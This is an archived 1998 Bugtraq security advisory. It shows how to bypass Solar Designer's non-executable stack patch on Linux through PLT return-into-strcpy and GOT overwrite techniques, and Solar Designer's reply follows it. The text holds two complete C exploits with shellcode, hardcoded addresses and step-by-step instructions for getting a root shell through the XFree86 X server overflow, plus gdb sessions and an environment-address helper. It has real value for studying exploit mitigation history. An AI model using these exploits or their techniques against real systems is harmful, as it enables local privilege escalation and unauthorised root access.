Defeating Solar Designer's Non-executable Stack Patch

Summary
Description:A very interesting paper on defeating non-executable stack patches. It goes through the steps needed to exploit the XServer <LONGDISPLAY> hole in Linux even with a non-execute patch.
Author:Rafal Wojtczuk <nergal@ICM.EDU.PL>
Compromise: root (local)
Vulnerable Systems:This just shows (as Solar Designer is well aware) that in some cases the non-executable stack patch can be subverted via sneaky techniques.
Date:30 January 1998
Notes:Solar Designer's respons is in the addendum.
Details


Date: Fri, 30 Jan 1998 18:09:35 +0100
From: Rafal Wojtczuk <nergal@ICM.EDU.PL>
To: BUGTRAQ@NETSPACE.ORG
Subject: Defeating Solar Designer non-executable stack patch

       -=[ Defeating Solar Designer's Non-executable Stack Patch ]=-
    Text and souce code written by Rafal Wojtczuk ( nergal@icm.edu.pl )

  Section I. Preface
  The patch mentioned in the title has been with us for some time. No doubt it
stops attackers from using hackish scripts; it is even included in
just-released Phrack 52 as a mean to harden your Linux kernel. However, it
seems to me there exist at least two generic ways to bypass this patch fairly
easily ( I mean its part that deals with executable stack ). I will explain
the details around section V.
  Before continuing, I suggest to refresh in your memory excellent
Designer's article about return-into-libc exploits. You can find it at
http://www.geek-girl.com/bugtraq/1997_3/0281.html

         "I recommend that you read the entire message even if you aren't
         running Linux since a lot of the things described here are
         applicable to other systems as well."
                 from the afore-mentioned Solar Designer's article

  It is definitely worth your time to get acquainted with Designer's patch
documentation ( which can be retrieved embedded in the complete package from
http://www.false.com/security/linux-stack ).
  All the following code was tested on Redhat 4.2 running 2.0.30 kernel with
Designer's patch applied ( latest version, I presume ).

  Section II. A few words about ELF implementation
  Let's compile and disassemble the following proggie.c
main()
{
strcpy(0x11111111,0x22222222);
}
$ gcc -o proggie proggie.c
...lots of warnings...
$ gdb proggie
GDB is free software and you are welcome to distribute copies of it...
(gdb) disass main
Dump of assembler code for function main:
0x8048474 <main>:       pushl  %ebp
0x8048475 <main+1>:     movl   %esp,%ebp
0x8048477 <main+3>:     pushl  $0x22222222
0x804847c <main+8>:     pushl  $0x11111111
0x8048481 <main+13>:    call   0x8048378 <strcpy>
0x8048486 <main+18>:    addl   $0x8,%esp
0x8048489 <main+21>:    leave
0x804848a <main+22>:    ret
0x804848b <main+23>:    nop
End of assembler dump.

  As we can see, the call to strcpy hits text segment, not library function
directly ( when Designer's patch is applied, libc functions have addresses
that begin with 0x00 ).

(gdb) (gdb) disass strcpy
Dump of assembler code for function strcpy:
0x8048378 <strcpy>:     jmp    *0x80494d8
0x804837e <strcpy+6>:   pushl  $0x0
0x8048383 <strcpy+11>:  jmp    0x8048368 <_init+8>
End of assembler dump.
(gdb) printf "0x%x\n", *0x80494d8
0x804837e

  Code starting at 0x8048378 is a part of procedure linkage table ( PLT ).
Initially, int stored at 0x80494d8 ( member of global offset table, GOT )
contains address of the next instruction ( here, strcpy+6 ). When the procedure
is called for the first time, dynamic linker is involved in transferring
control to the proper place in shared library image. Linker puts library
function address into *0x80494d8 as well, so the next time strcpy is called,
jmp    *0x80494d8 instruction will take it to the right spot in libc
immediately.
  The previous paragraph is correct when lazy linking is performed, which is
the default behaviour. By setting environ variable LD_BIND_NOW one can
make the linker do the binding of all procedures before control reaches
function main.
  Those ripped-out-of-context phrases are enough for the purposes of this
article. You can find complete ELF specification at
ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.DOC.tar.gz ( it contains file
elf.hps ).

   Section III. A flaw no 1 - PLT entries
  The important fact is that we do not have to call libc functions directly.
If the vulnerable application uses a procedure from shared library, the text
segment will contain an appropriate procedure linkage table entry, which we
can merrily use. For instance, if lpr used "system", then Solar Designer's
exploit for lpr would work fine: instead of finding "system" in libc, we
would use PLT entry ( a string "/bin/sh" can be smuggled into the program
hidden in the enviroment or argv). But it is much worse than this...

  Section IV. A flaw no 2 - executable data segments
  Information stored in /proc/pid/maps is... ahm... not always accurate.
Code can be executed in data segment, even if you issue
mprotect(...,...,PROT_READ) call. In fact, it can be bare PROT_WRITE or
PROT_EXEC as well; standard shellcode will not work, because it modifies
itself ( segfault when PROT_READ|PROT_EXEC ) and passes arguments located
inside its body to the kernel ( when only PROT_WRITE is applied, kernel
function verify_area will fail ). It is trivial to write a working shellcode.
Anyway, data segments are rw ( malloc-ed data even rwx ), so a standard
shellcode will do.
  Impact: We can transfer control to the shellcode if it has been copied to
data segment. Sometimes application will do it for us; but in fact, when a
buffer overflow in automatic data is involved, we don't need any farther
assistance...

  Section V. Exploit no 1
  For the rest of the article, I will assume that the vulnerable program we
attack uses strcpy or sprintf. 99% does; if it IS vulnerable, then odds are
100% ;). I will use strcpy; sprintf(dest,src) works identically provided
there is no % neither \ in src argument.
  Our exemple target will be XF86 Xserver; its case was discussed on bugtraq
a while ago. You can find details there.
  Exploit goes as follows: we fill a buffer with the pattern
------------------------------   <------------- stack grows this way
| STRCPY | DEST | DEST | SRC |
------------------------------   memory addresses grow this way ------->

where STRCPY is an address of strcpy PLT entry
      DEST is a place in a data segment where we will place shellcode
      SRC points into a environ variable containing a shellcode
  We want to overwrite return address on the stack with STRCPY field; then
strcpy will copy shellcode to DEST. Instruction ret from strcpy will pop the
first DEST, and control will be passed there.
  Let's gather some info then. We will need a non-suid copy of X server;
if it is mode rws--x--x on your system, you can get it from www.redhat.com
and enjoy :) It must be exactly the same version,though.
$ gdb myX
... lots of stuff ...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x8066a18 <strcpy> <-- first number we need
(gdb) b main
Breakpoint 1 at 0x80df5e8
(gdb) r
Starting program: myX
warning: Unable to find dynamic linker breakpoint function.
warning: GDB will be unable to debug shared library initializers
warning: and track explicitly loaded dynamic code.
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x80df5e8 in main ()

  In another window (1515 is the pid of X server )
$ cat /proc/1515/maps
00110000-00115000 rwxp 00000000 03:07 20162
00115000-00116000 rw-p 00004000 03:07 20162
00116000-00117000 rw-p 00000000 00:00 0
00118000-0011e000 r-xp 00000000 03:07 20171
0011e000-00120000 rw-p 00005000 03:07 20171
00120000-00122000 rwxp 00000000 03:07 20169
00122000-00123000 rw-p 00001000 03:07 20169
00123000-001b6000 r-xp 00000000 03:07 20165   <-- libc is mapped here
001b6000-001bc000 rw-p 00092000 03:07 20165
001bc000-001ee000 rw-p 00000000 00:00 0
08048000-08223000 r-xp 00000000 03:07 50749
08223000-08230000 rw-p 001da000 03:07 50749   <-- here resides data; our second number is found
08230000-08242000 rwxp 00000000 00:00 0       <-- these addresses would do as well
bfffe000-c0000000 rwxp fffff000 00:00 0       <-- and these wouldn't ;)

BTW, if you execute
$ ls -i /lib/libc.so.5.3.12
  20165 /lib/libc.so.5.3.12
and look at maps file contents, you can see where libc is mapped; we will
need this piece of info for the second exploit.

  Last hint - X server uses file descriptor 0 for its own purposes, so instead
of spawning a root shell we will execute a program in /tmp/qq ( which should
make a root suid copy of bash ).
Now kill gdb session, compile and run the following
/*
Exploit no 1 for Solar Designer patch
by nergal@icm.edu.pl
This code is meant for educational and entertaining purposes only.
You can distribute it freely provided credits are given.
*/
#include <stdio.h>
/* change the following 0 if the code doesn't work */
#define OFFSET                          0
#define BUFFER_SIZE                     370
#define EGG_SIZE                        2048
#define NOP                             0x90

/* any address in data segment */
#define DEST                            0x08223038
/* strcpy linkage table entry */
#define STRCPY                          0x08066a18

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/qq";

char buf[BUFFER_SIZE];
char egg[EGG_SIZE];
char pattern[16];

void main(int argc, char **argv)
{
/* try alignment in 3..18; three worked for me */
        int i, align = 3;
        int src = (int) &src - OFFSET;  /* formerly known as get_sp() :) */

        if (argc == 2)
                align = atoi(argv[1]);

        *(int *) pattern = STRCPY;
        *(int *) (pattern + 4) = DEST;
        *(int *) (pattern + 8) = DEST;
        *(int *) (pattern + 12) = src;
        for (i = 0; i <= 15; i++)
                if (pattern[i] == 0) {
                        printf("zero in pattern (%i)\n", i);
                        exit(1);
                }


        memset(buf, ' ', BUFFER_SIZE);
        buf[BUFFER_SIZE - 1] = 0;
        buf[0] = ':';
        buf[1] = '9';
        for (i = align; i < BUFFER_SIZE - 16; i += 16)
                memcpy(buf + i, pattern, 16);

        memset(egg, NOP, EGG_SIZE);
        strcpy(egg + EGG_SIZE - strlen(shellcode) - 2, shellcode);
        strncpy(egg, "EGG=", 4);
        putenv(egg);

        execl("/usr/X11R6/bin/X", "X", buf, "-nolock", 0);
        perror("execl");
}
/*
end of exploit no 1
*/
  In Designer exploits, a shell was invoked using "system" call, which after
completion returns onto the stack ( and segfaults ). This caused exploit
attempt logging. In exploit no 1 we execute our code using execve, so
everything is clean and tidy.

  Section VI. Any solutions ?
  It doesn't look neat,is it ? Again, arbitrary code can be executed. What can
we do ?
  First idea is to patch kernel so that instructions in data segment cannot be
executed. Solar Designer patch does simply
(retaddr & 0xF0000000) == 0xB0000000
comparison to detect whether code is returning into stack; it would be a
time-consuming job to check if we're returning into a data segment. Anyway,
we are barking a wrong tree here. If we are satisfied with simple
system("/tmp/evilcode"), we don't need executable data segment at all !
  Exploit no 2 is waiting for you. Certainly, sometimes you need to do
setuid(0) or fcntl(fd,SET_FD,0) before "system", but usually not.

  Section VII. PLT reapears.
We will fill a buffer with a pattern
-----------------------------------------
| STRCPY | STRCPY | PLTENT-offset | SRC |
-----------------------------------------
STRCPY is again a PLT entry for strcpy.
PLTENT is an address of integer in GOT referenced by strcpy PLT entry ( in
proggie.c example it was 0x80494d8 )
SRC is a pointer into env variable.
  How does it work ? We need to hit return placeholder with first STRCPY.
SRC contents will overwrite GOT entry so that it will contain address of libc
"system" procedure. Second return into STRCPY will execute "system" (
because instruction jmp *gotentry references place in memory we have just
altered ) with argument SRC.
  Well, extreme precision is required here, because we overwrite linker vital
internal structures. First, SRC has to be a valid filename ( starting
with /tmp/xxxx, for instance). SRC's last 3 bytes must be the lowest 3 bytes of
"system" procedure address. Zero terminating SRC will complete the address.
Second, we need the exact address of SRC - src=&src certainly will not suffice.
  So,we start gathering info. We already have STRCPY; to obtain GOT integer,
we need to disass strcpy with gdb ( like in proggie.c example ). From
/proc/pid/maps we can extract address where libc is mapped; to compute "system"
addres, we need to add its offset in libc.
$ nm /lib/libc.so.5.3.12 | grep system
0007ec7c T svcerr_systemerr
00081d7c T system             <---- that's the number we need

Now we compile the following code ( remember, /tmp/qq is a prog that makes a
setuid shell or anything you find useful to do with euid 0)
/*
Exploit no 2 for Solar Designer patch
by nergal@icm.edu.pl
This code is meant for educational and entertaining purposes only.
You can distribute it freely provided credits are given.
*/

#include <stdio.h>

#define BUFFER_SIZE                     370
#define EGG_SIZE                        100

#define STRCPY                          0x08066a18
#define PLTENT                          0x0822f924
#define SYSTEM                          (0x00123000+0x81d7c)
#define SRC                             0xbfffffe6

char buf[BUFFER_SIZE];
char egg[EGG_SIZE];
char pattern[16];

char prefix[] = "/tmp/xxxxxxx";
char path[200];
char command[200];

void main(int argc, char **argv)
{
        int i, align = 3;
        char *envs[2] = {egg, 0};

        if (argc == 2)
                align = atoi(argv[1]);

        *(int *) pattern = STRCPY;
        *(int *) (pattern + 4) = STRCPY;
        *(int *) (pattern + 8) = PLTENT - strlen(prefix);
        *(int *) (pattern + 12) = SRC;
        for (i = 0; i <= 15; i++)
                if (pattern[i] == 0) {
                        printf("zero in pattern (%i)\n", i);
                        exit(1);
                }
        if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM & 0x000000ff)) {
                printf("zero in system\n");
                exit(1);
        }

        memset(buf, ' ', BUFFER_SIZE);
        buf[BUFFER_SIZE - 1] = 0;
        buf[0] = ':';
        buf[1] = '9';
        for (i = align; i < BUFFER_SIZE - 16; i += 16)
                memcpy(buf + i, pattern, 16);

        strcpy(path, prefix);
        *(int *) (path + strlen(path)) = SYSTEM;
        sprintf(egg, "EGG=%s", path);
        sprintf(command, "cp /tmp/qq %s", path);
        system(command);
        execle("./qwe", "X", buf, "-nolock", 0, envs);
        perror("execl");
}
/*
end of exploit no 2
*/

  You've read the code ? Wonder what ./qwe is for ? Right. Remember we need
exact address of /tmp/xxxxxxxsomething in memory. So, first make ./qwe a
symlink to the following program:
/*
envi.c - displays addresses of all env variables
*/
#include <stdio.h>
extern char ** environ;
main()
{
        char ** p=environ;
        printf("environ=0x%x\n",p);
        while (*p)
        {
                printf("0x%x %s\n",*p,*p);
                p++;
        }
}
/*
end of envi.c
*/
  Now run exploit no 2. Note down address of /tmp/xxxxsomething in EGG
variable ( NOT address of EGG=..., but address of /tmp/xxxx...; you must add
strlen("EGG=") to the number envi.c produces ). Correct the value of SRC in
exploit. Than make ./qwe symlink to /usr/X11R6/bin/X and run exploit again.
That's all.
  Because we use "system", the name of binary (/tmp/xxxxsomething...) which
will be executed may be not exactly what we put in our "path" variable. In my
case, at offset 13 it contained a '|' char, which is a special character for
shell, so "system" called out of X server tried to execute /tmp/xxxxxxx. It
succeeded - we make /tmp/xxxxsomething a copy of /tmp/qq using "system" as
well, so the result should be what we wished.
  After "system" call the program segfaults; but since the control doesn't
return onto stack ( rather into GOT ) no exploit attempt is logged.

  Section VIII. More Feeble Screams From The Forests Unknown
  There are other methods to cope with non-executable stack. Consider the
following scenario. The faulty code containing an overflow ends up executing
strcpy, which overwrites the very same place on the stack it was called
( frankly, retted :)) from. The resulting stack can be formed so that it will
spawn another strcpy...

stack before first strcpy execution
-------------------------------------------------------------------------
| junk|junk | src1 | dest1 | junk  | STRCPY| some junk                  |
-------^----------------|------------------------------------------------
       |                |              ^
       -----------------|              |
                                      %esp
stack just before first strcpy returns
--------------------------------------------------------------------------
|junk | src2 |dest2| junk  | STRCPY|        | evil code 0-terminated    |
--------------------------------------------------------------------------
                                ^
                                |
                               %esp
  This way we copied on the stack some arbitrary bytes terminated by 0. By
repeating this operation, we can put any pattern, which may include zeros, on
the stack. If we can find in text segment or in any library fragment of code
that does
subl $something, %esp
ret
 %esp will be placed in the pattern we generated. Since then we can use
any library functions, including setuid, mprotect etc.

  Section IX. Local vs remote exploit
  These two pieces of code are local. The idea of the first one can
be materialized into a remote exploit; all we need is a copy of an attacked
program to examine. Even all possible versions of it can be tried by a
determined hacker. The second one requires a very high accuracy, which
complicates the whole thing; not mentioning that we also
a) need to know libc version used on the remote machine
b) must be able to create there executable files with arbitrary suffix  ( anon
ftp uploads spring to mind )

  Section X. Any solutions - continued
  Well, if
     a) we can protect data segments from being executed
     b) we force LD_BIND_NOW - like dynamic linking, which enables us to
        mprotect GOT non-writable
both exploits will fail. However, I'm not convinced with this idea.
Still unknown number of potentially dangerous library functions can be
called through PLT; for instance, memccpy is worth mentioning, as it enables
us to copy a block of memory containing 0's.
  The best solution would be to mmap text segment ( accompanied by PLT and
GOT ) under 16MB boundary. But it's impossible, right ? Code of applications
is not position independent.
  It's probably a linker issue, but if we can mmap PLT in the lowest 16MB,
both my exploits will fail. However, we could still utilize "call system"
instruction that may reside in the application body.

  Section XI. Closing unrelated bubbling
  I welcome any constructive comments regarding this article; hope you
enjoyed reading it at least half as much as I enjoyed composing it...

                   "That's all for now.
                   I hope I managed to prove that exploiting buffer overflows
                   should be an art."
                         from the afore-mentioned Solar Designer's article

  lcamtuf, idziesz na piwo ?
  If you find that you can give me some security or linux related job, thus
saving me from earning money for living by some hebetating activity,
let me know. History will not forget your deed :) IBS folks, you listen ?
  More stuff from Nergal is coming soon; next time it will be something
perhaps more useful, from a certain point of view ;) of course. Should still
retain entertaining values.
       Save yourself,
       Nergal

Date: Wed, 4 Feb 1998 01:03:06 -0300
From: Solar Designer 
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Defeating Solar Designer non-executable stack patch

Hello,

Aleph1, it's okay if you decide not to forward this to the list -- there
has been a lot said on the subject already. However, I'll try to only
mention new stuff now. This is not meant to start another thread.

>        -=[ Defeating Solar Designer's Non-executable Stack Patch ]=-

First, thanks for posting this, it's nice to see that exploiting buffer
overflows really becomes an art. ;-) (However, I should admit that there
were some very nice exploits not related to my patch too, and even before
my patch appeared.)

I agree with most of what you say, but it looks like a few corrections are
needed. (Why didn't you send me this article for a review before posting it,
I don't mind posting exploits for my own stuff, as you could already see.;-)

> If the vulnerable application uses a procedure from shared library, the text
> segment will contain an appropriate procedure linkage table entry, which we
> can merrily use. For instance, if lpr used "system", then Solar Designer's
> exploit for lpr would work fine: instead of finding "system" in libc, we

I mentioned this on linux-kernel when discussing this stuff before my BugTraq
post with return-into-libc exploits. What's really new in your post is the
great idea to return into strcpy(), which is very likely to be present. :-)

>   Information stored in /proc/pid/maps is... ahm... not always accurate.
> Code can be executed in data segment, even if you issue
> mprotect(...,...,PROT_READ) call. In fact, it can be bare PROT_WRITE or

That's since x86 doesn't have execution permission bit on pages. (I'm using
segment-based protection in my patch, not page-based.)

Now, to the question -- why I left other data areas executable:

1. It can't be fixed in Linux for x86 right now.

        Since on x86 we can't use page-based protection for that, we would
        need to set the code segment's limit to a different value for each
        process. Right now Linux/x86 keeps user segment descriptors in GDT
        (Global Descriptor Table, for those not familiar with x86), which
        means that we would have to set the limit on every task switch. The
        right approach would be to move user descriptors to the local table,
        LDT, but this will break some user-level applications (dosemu) if I
        just do this in my patch.

        AFAIK, this is going to change in Linux 2.2 or 2.3, then I will
        likely update my patch to allow non-executable data areas other
        than the stack. This change will also allow me to get rid of using
        Ring 2. :-)

2. There're more programs that generate code in malloc()ed areas than those
that generate it on the stack. These will break.

        Well, this is not much of a reason not to support non-executable
        data areas. These programs can be made to work again by setting
        the ELF header flag on them.

>   In Designer exploits, a shell was invoked using "system" call, which after
> completion returns onto the stack ( and segfaults ). This caused exploit
> attempt logging. In exploit no 1 we execute our code using execve, so
> everything is clean and tidy.

I was using system() for a reason: it has only one parameter, so that there
could be only 8 different alignments to try. It was possible to make it
return into exit() with the cost of increasing the number of alignments to 12.
It didn't seem to be worth doing, since you could always kill the vulnerable
program from the privileged shell, and nothing would get logged.

>   First idea is to patch kernel so that instructions in data segment cannot be
> executed. Solar Designer patch does simply
> (retaddr & 0xF0000000) == 0xB0000000
> comparison to detect whether code is returning into stack; it would be a
> time-consuming job to check if we're returning into a data segment. Anyway,

This has nothing to do with performance. The check you quoted is only for
exploit attempt logging, it's not what makes the stack non-executable.

>   Section IX. Local vs remote exploit
>   These two pieces of code are local. The idea of the first one can
> be materialized into a remote exploit; all we need is a copy of an attacked
> program to examine. Even all possible versions of it can be tried by a
> determined hacker. The second one requires a very high accuracy, which

It's not always possible to try all versions: there're network clients run
by humans who are not going to be trying again and again, and there're some
non-respawning daemons. But in general you're right: it's often possible,
just not always.

In general, these types of exploits require more time for the attacker to
apply to a particular system. This is enough to make less attacks succeed,
since some admins will more likely notice the attack in time than they
would when running with executable stack.

>      b) we force LD_BIND_NOW - like dynamic linking, which enables us to
>         mprotect GOT non-writable

>   It's probably a linker issue, but if we can mmap PLT in the lowest 16MB,

These two are interesting ideas, I'll think more of them later.

And finally here's a tiny FAQ for those confused (if this gets to the list):
Q: Is it possible to bypass the patch?
Q: Is there still a reason to use the patch?
Q: Should I fix known buffer overflow vulnerabilities when using the patch?
A: Yes to all three questions. Read secure-linux.doc.

Signed,
Solar Designer
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